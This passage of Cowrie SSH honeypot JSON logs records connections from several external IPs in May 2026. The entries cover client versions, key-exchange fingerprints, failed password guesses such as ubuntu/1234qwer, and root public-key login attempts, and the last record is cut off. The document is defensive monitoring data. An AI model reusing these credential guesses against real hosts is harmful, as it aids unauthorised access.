{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:10.554908Z","src_ip":"190.244.39.224","session":"83afbb1a9308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:11.329714Z","src_ip":"190.244.39.224","session":"83afbb1a9308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:12.513383Z","src_ip":"190.244.39.224","session":"83afbb1a9308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7fb1fc6253f","protocol":"ssh","message":"New connection: 14.224.213.222:51644 (10.17.0.5:22) [session: a7fb1fc6253f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:12.679029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:12.684421Z","src_ip":"14.224.213.222","session":"a7fb1fc6253f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:12.922590Z","src_ip":"14.224.213.222","session":"a7fb1fc6253f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456abc","message":"login attempt [ubuntu/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:13.891662Z","src_ip":"14.224.213.222","session":"a7fb1fc6253f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:15.138693Z","src_ip":"14.224.213.222","session":"a7fb1fc6253f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.76.202","src_port":47942,"dst_ip":"10.17.0.5","dst_port":22,"session":"a143646edd21","protocol":"ssh","message":"New connection: 136.243.76.202:47942 (10.17.0.5:22) [session: a143646edd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:44.857353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:44.862813Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:44.959025Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l9Q79U5dMRmdtMde6yKlNzXKjOy2vGGgXYKSXvAJN+rbnrZ3S6BiU74TCznK7PvTKAtZcwXrcWmQ+EQLuxRjJVRH/KmdaU3w4Es+ZuUd83RrD7fMr8wiATdu6tiJJnwuNNLNNBB2wGAqBLjQrCfMU59cGHEjO9dh3bJ79rVcYkZ8X+v6zA95GzU4QsbhYfwVrnhC7j43Qy8ZYsM6hyLfz9OAWCcSS8SJxUF5fb8G9rGgWirHRNwzNEjjT7xIv0Vjo1NvgythcQuGAGqKG6eWJp9UfjO54Ss95JVkAt69Q5lUydZC8jUOCGev7stmOt7tZxq9WAZWEJgnO82QULcl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.403333Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:b2:17:1d:d0:41:83:0e:01:25:86:f2:51:c7:a0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l9Q79U5dMRmdtMde6yKlNzXKjOy2vGGgXYKSXvAJN+rbnrZ3S6BiU74TCznK7PvTKAtZcwXrcWmQ+EQLuxRjJVRH/KmdaU3w4Es+ZuUd83RrD7fMr8wiATdu6tiJJnwuNNLNNBB2wGAqBLjQrCfMU59cGHEjO9dh3bJ79rVcYkZ8X+v6zA95GzU4QsbhYfwVrnhC7j43Qy8ZYsM6hyLfz9OAWCcSS8SJxUF5fb8G9rGgWirHRNwzNEjjT7xIv0Vjo1NvgythcQuGAGqKG6eWJp9UfjO54Ss95JVkAt69Q5lUydZC8jUOCGev7stmOt7tZxq9WAZWEJgnO82QULcl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.407238Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.500065Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:ad:8a:b2:91:b5:6e:99:04:78:c2:1d:16:77:1a:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClomyQxZIwKk8GYzZ/ff6mkNyEYnPduLZEbZ3X8vyzLFsORLF19w25NSPV65009R+Cc6Fdr4wpNCI2gzqXVH08+yNi3lJ/rzaEXjVLwhvRBiFiGxXeBVOJKXhu7o/Zresd8Y3g/KK7uJT8y2NGHrYC5lIyqpickbgZz57BFMifhFn+iILv5YmVBFdeCP3sOHwVc9+tAiWALntVkDdfpwhN+pA0gruMIl+AyUyIA02bXZnwj47QYuX/AWYJG54D42Z6rHDk0/29vW/T+D+Eiab2NnRZVB5dghXi5OgysiPH0z0D0n/FDGt2OlsFnNi3U1Sbwvh3/GiULItdldPiMElBLTwN/NILI85bM0AZWG1J2ncBoR8SGe5G0ivZ6d2Atm2APkadPR7UOA/r7H/z6pAX3tCA2zsja24XYQU4Hg/vo/UZBo7D6yRRwZT/da3BbfQxm52eClej3CfZc4NFRHY4as+z64yMp4kMzlUVPH2nmI+xH1SnW7xmvDwXqt6q+8wG9rImY8NZJ92n4i6bOadt4rPAONLqcpzILeTabyNfdjHMiGPbUF6pc0s2fELXnrgX5c61v1VR6VBZk15D0lUjkUbwJAi4nYCoIZGVUhEZUel9aAI2lFYw7yUOqnyhM1G6ReOMXZCwQG1Egr6BDGNzJ8WWEjC6yi7dLTxhzW4q7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.503713Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzO6DMPYVbhX6tHc+Ukofof2WNrYv4q+plWQ+aLaHGMjDLzvsOxz31UOk6zaXyynyuQZsbyw/jg0B7x0X6KZWL0Ezr1kByIIqqgFQY9g8LUep2CTQwVuuq13PMT4DuwjKqSYWKqL0XB+EzOshXrqHD11GsvA0AcgLelvjVAYMK/B4RQ25NOg/WOaMZcoCf2kH+ySL4GpVZl/dBEb8RQwrQlwmpni2o2g7M23yuNjZhp0aO+bUSQu2i128z8otxQzJaZgdFxuEJ+nXZmDuGjh2YSOnl1oT6RzdA6R1ROc4hHjSVISSQFHOGTmAiW1yMO5dISjaiTYE9rwZ0VLnRCVbrcWZHmh69YmW/kG6wG5PRQb9ToIZongqUoJDlcA2N6Oj9AGUyaIKDxtI6rSA/pS6cKJYin3UJD2PYTOADBmt3n6mn/Zn1Ex9clBZ5YdnPxrwr+QzCmgscPeY2H2s82AdKQkMdlI+8CS0rBf6KAfdIL5NkemMcqE6qIoHZrqIDJ5POjHgOT94hlzlq4EEw+iweaV1Q5TNJuc0cVapSQPovKAq+LlLt1An0FyEK1gMiUU5FgO0wgWzYQdUcXwrm823lWmd/uCHQlOAYi1+OyVEfnbzJipodMdlEn2km80uQbO4KETEnvSN9cD5utNFXCciGI/lZwrSy+toDbl293F44Ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.598883Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:95:7c:39:28:23:8c:31:e0:23:9e:ec:7f:90:37:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzO6DMPYVbhX6tHc+Ukofof2WNrYv4q+plWQ+aLaHGMjDLzvsOxz31UOk6zaXyynyuQZsbyw/jg0B7x0X6KZWL0Ezr1kByIIqqgFQY9g8LUep2CTQwVuuq13PMT4DuwjKqSYWKqL0XB+EzOshXrqHD11GsvA0AcgLelvjVAYMK/B4RQ25NOg/WOaMZcoCf2kH+ySL4GpVZl/dBEb8RQwrQlwmpni2o2g7M23yuNjZhp0aO+bUSQu2i128z8otxQzJaZgdFxuEJ+nXZmDuGjh2YSOnl1oT6RzdA6R1ROc4hHjSVISSQFHOGTmAiW1yMO5dISjaiTYE9rwZ0VLnRCVbrcWZHmh69YmW/kG6wG5PRQb9ToIZongqUoJDlcA2N6Oj9AGUyaIKDxtI6rSA/pS6cKJYin3UJD2PYTOADBmt3n6mn/Zn1Ex9clBZ5YdnPxrwr+QzCmgscPeY2H2s82AdKQkMdlI+8CS0rBf6KAfdIL5NkemMcqE6qIoHZrqIDJ5POjHgOT94hlzlq4EEw+iweaV1Q5TNJuc0cVapSQPovKAq+LlLt1An0FyEK1gMiUU5FgO0wgWzYQdUcXwrm823lWmd/uCHQlOAYi1+OyVEfnbzJipodMdlEn2km80uQbO4KETEnvSN9cD5utNFXCciGI/lZwrSy+toDbl293F44Ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.602661Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUhe3Y1l54IAAcdnsE5ezcgLIpebksqH1K4tjdefdQgqtvItRqOvVp962hbRSRHo86lxVppZ2p5NC1dkFo4yg7zHVlEatJTGeaDRYnLlB0RXoh15OqAj+/cCOMd5uMLy9fQ0h7OsoYQNo158Aow4QL1oT/zoG9k/IefnihjA/MdKSm/tYFovV2lik3zZmuiVK3PaZQrxQS9sN9eJJ/54Nx7/EQ/Ss4W5ptB874mM9Z+ErjXMvj0w1nHODqHSk8qZI8GKdbORLsSpqVbEhQ4Pbbn7u0y/HkyCOGSFppA4ssMZvg7zAupt+F+I9t49e+gYKrZFmNhwJR7spolGIgNXMKvUUhKdl8fBhGQgeUKjtap1yc8B8FLBOnU69CvOhyOY240BEuqg8YS2L16frvjxxwvQ9N/WXI/HxAHJiHi6FOhgi6XIQjx1eYtLkGWQ64iy1WxOVIU/FWAlloBROkIRgaLqh6W1Jxn05I8W0p9WMR6jSqV7HxdCeadi/CHNpvK5bJE/J2v4ENYHVkkxbMd+f5IkVZbIxHa/DpqQChfQi5ITnwnNEHGowF0KWyb+ddwmyF82pOsuM53zW3Oa8OU4sHr1rVUf1hwQsm7eBGuFmXCcVIA1OdQLSWl6FZGKFWigsP31x12mdm+v16sSJw/wi8k1h4XICDOo1lpvqN8NCiSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.696580Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:93:8a:52:ae:03:04:ac:45:5c:11:69:e8:f2:30:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUhe3Y1l54IAAcdnsE5ezcgLIpebksqH1K4tjdefdQgqtvItRqOvVp962hbRSRHo86lxVppZ2p5NC1dkFo4yg7zHVlEatJTGeaDRYnLlB0RXoh15OqAj+/cCOMd5uMLy9fQ0h7OsoYQNo158Aow4QL1oT/zoG9k/IefnihjA/MdKSm/tYFovV2lik3zZmuiVK3PaZQrxQS9sN9eJJ/54Nx7/EQ/Ss4W5ptB874mM9Z+ErjXMvj0w1nHODqHSk8qZI8GKdbORLsSpqVbEhQ4Pbbn7u0y/HkyCOGSFppA4ssMZvg7zAupt+F+I9t49e+gYKrZFmNhwJR7spolGIgNXMKvUUhKdl8fBhGQgeUKjtap1yc8B8FLBOnU69CvOhyOY240BEuqg8YS2L16frvjxxwvQ9N/WXI/HxAHJiHi6FOhgi6XIQjx1eYtLkGWQ64iy1WxOVIU/FWAlloBROkIRgaLqh6W1Jxn05I8W0p9WMR6jSqV7HxdCeadi/CHNpvK5bJE/J2v4ENYHVkkxbMd+f5IkVZbIxHa/DpqQChfQi5ITnwnNEHGowF0KWyb+ddwmyF82pOsuM53zW3Oa8OU4sHr1rVUf1hwQsm7eBGuFmXCcVIA1OdQLSWl6FZGKFWigsP31x12mdm+v16sSJw/wi8k1h4XICDOo1lpvqN8NCiSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.700189Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC63sMZyLBOblhttjLb2qNyA7WExDXzalWj1Hy9h0RNfyA6J41+u0J1sPALxm/bWvnObJlhlbmeEmd7MQ2bU9bIQ22xUa87l2XAxLO6+IEnuGgIcg7P3gV3Y2z4ET7HAF8jjpKQ3ZNDei6cHypeDi8xhLzB9sz/YShovqua9eTNJ+uenhhBygEScyfPjYVQwmYc9kIeyvTgYjgnthDiLHr2i2ImX/iBmSZeOVePBANBwxGBF8+61CxQIaDYLL9TXilInWCBq3XcZxn+at4fYKx/xRMlPQMULEgbV9hr2algLDhujgIrY95sxZuC1PU9dQKZuGphp3RJ1rkOrjvgMyG4N5n0FpvOAIgU3nxfgRGPnsIly/jgHuAbtdwGu8v27E3DRAgIACmIa04UUD+QnfhyCDW78BleM7U3g4lzQtkPTqqxq4j5ApL6oUIwgIUOio4fYNwHyXNKDHyBp8gGKz7BQ5OCPukBwYXBSrZbzv3DrHXotf1Ql8NcOV1h+EbliYAmjCPjcLRF/+hNZGMipnZpqPkFvMHMXxZ3PDmlypp7Cqr7G4ZltbFS06OmiLb1P/ImY3hQKjKihbpn4iHqgAFnLGxl8XSGnTlntV8RNPTgW62os2WaltLyHyvnCNiwsZUgzDphJRE46sM6n604mL8bR3IOuUNCb/Yl6AYO8Q7HqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.792842Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:df:61:1f:16:de:81:70:f3:98:3f:a6:18:92:55:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC63sMZyLBOblhttjLb2qNyA7WExDXzalWj1Hy9h0RNfyA6J41+u0J1sPALxm/bWvnObJlhlbmeEmd7MQ2bU9bIQ22xUa87l2XAxLO6+IEnuGgIcg7P3gV3Y2z4ET7HAF8jjpKQ3ZNDei6cHypeDi8xhLzB9sz/YShovqua9eTNJ+uenhhBygEScyfPjYVQwmYc9kIeyvTgYjgnthDiLHr2i2ImX/iBmSZeOVePBANBwxGBF8+61CxQIaDYLL9TXilInWCBq3XcZxn+at4fYKx/xRMlPQMULEgbV9hr2algLDhujgIrY95sxZuC1PU9dQKZuGphp3RJ1rkOrjvgMyG4N5n0FpvOAIgU3nxfgRGPnsIly/jgHuAbtdwGu8v27E3DRAgIACmIa04UUD+QnfhyCDW78BleM7U3g4lzQtkPTqqxq4j5ApL6oUIwgIUOio4fYNwHyXNKDHyBp8gGKz7BQ5OCPukBwYXBSrZbzv3DrHXotf1Ql8NcOV1h+EbliYAmjCPjcLRF/+hNZGMipnZpqPkFvMHMXxZ3PDmlypp7Cqr7G4ZltbFS06OmiLb1P/ImY3hQKjKihbpn4iHqgAFnLGxl8XSGnTlntV8RNPTgW62os2WaltLyHyvnCNiwsZUgzDphJRE46sM6n604mL8bR3IOuUNCb/Yl6AYO8Q7HqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.797147Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:45.891688Z","src_ip":"136.243.76.202","session":"a143646edd21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.107","src_port":45956,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11d29058aa2","protocol":"ssh","message":"New connection: 208.87.242.107:45956 (10.17.0.5:22) [session: f11d29058aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.196005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:14:51.200930Z","src_ip":"208.87.242.107","session":"f11d29058aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cb